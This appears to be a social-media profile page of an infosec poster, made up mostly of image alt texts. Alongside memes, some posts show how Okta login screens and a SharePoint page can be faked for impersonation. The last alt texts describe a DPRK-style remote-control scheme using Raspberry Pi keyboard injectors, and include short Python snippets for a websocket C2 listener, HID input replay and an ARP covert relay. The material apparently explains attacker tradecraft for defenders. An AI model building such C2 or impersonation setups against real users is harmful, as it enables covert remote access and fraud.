Mattysploit

@mattysplo.it

127 Followers 844 Following

Infosec lurker. Occasional poster. Mostly blog stuff. https://mattysplo.it

Pro skateboarder Lizzie Armanto on a half pipe doing sick skateboard shit, with 90s graffiti font meme templated on reading "Radwife"
The scene from BladeRunner 2049 where the AI ad says "You look lonely, I can fix that" but instead she says "Ew get away from me"
A nigerian man operates a white lady ventroliquist's doll. she says "if we are going to make america great again, i need to feel safe walkin down the street, y'all". a sign in front of him says "MAGA influencer meetup"
Small houseplant with post-it labeled "leave me alone! Trying to live >:(
The Rockwell Four Freedoms hot take stand up in a meeting meme
Screenshot of a text that reads: "I'm gonna insane because of AI bit in the inverse. Like people talk to it and think they're jesus. I've started assuming everyone in the world is using it to do their job and thats why nothing makes any fucking sense"
A sankey chart showing job applications. 339 Applications, 237 auto-rejections, 80 'Ghosted', 26 first round interviews, and ultimately 1 job offer.
The same flow-chart run against a cyber attack, in which the analyst observed "Initial Access" progressing towards "Command and Control" and names it appropriately.
A flow-chart for a Universal Cyber Incident Taxonomy, which labels events by their observed tactic rather than trying to fit it into an arbitrary "Incident" label.
A cross-walk of MITRE ATT&CK techniques against DoD, CISA and VERIS incident labelling frameworks.
Stonks meme, but with shields
The two brothers from White Lotus season 3
An Okta end user dashboard screen depicting various apps like Google Workspace, Slack, etc. As well as one just labelled "VPN". All of these can be real or fake, depending on how you configure them.
A VERY rudimentary html clone of a Sharepoint file repository, done in 5 minutes to demonstrate how simple it is. In the file repo are 4 fake files under a title labled "Finance Documents"
The Okta account creation screen, in which you can create basically any fake "user" you like, since there is no requirement for their email account to exist or even domain ownership.
The Okta login screen configuration page, where you are able to recreate your own organization's login screen or impersonate another all through a fairly simple clickable UI.
A network diagram that expands on the last image's C2 setup, in which multiple Raspberry Pis are able to rebroadcast to each other and each control their own laptop as a dedicated peripheral. This meshed C2 framework would feasibly allow multiple operators to take remote control of their workstations all at the same time.
A network diagram depicting a DPRK Operator controlling a Websocket C2 server, which speaks to a Raspberry Pi Controller, which rebroadcasts those commands via ARP to another one. This Raspberry Pi HID servers as a command injector for laptop it is connected to, which executes "WIN+R" to open the Run dialog and launch a preconfigured Zoom meeting. Upon receiving another followup command, it simulates pressing the ENTER key on the keyboard to approve control to the DPRK Remote Operator after they presumably request control within the Zoom meeting.
Python Code: def on_message(ws, message): data = json.loads(message) if data.get("command") == "open_zoom": subprocess.run(["xdg-open", "zoommtg://zoom.us/start"]) elif data.get("command") == "approve_remote": subprocess.run(["xdotool", "key", "Return"]) ws = websocket.WebSocketApp("ws://[REDACTED]", on_message=on_message) ws.run_forever()
Python code: import base64 def replay_input(encoded_event): decoded = base64.b64decode(encoded_event) with open("/dev/hidg0", "wb") as f: f.write(decoded)
python code: from scapy.all import sniff, sendp, Ether, ARP def process_arp(packet): if ARP in packet and packet[ARP].op == 1: payload = packet[ARP].hwsrc forward_to_c2(payload) sniff(filter="arp", prn=process_arp) def rebroadcast_command(command): packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, hwsrc=CHANNEL_ID, psrc="0.0.0.0") sendp(packet, iface="eth0")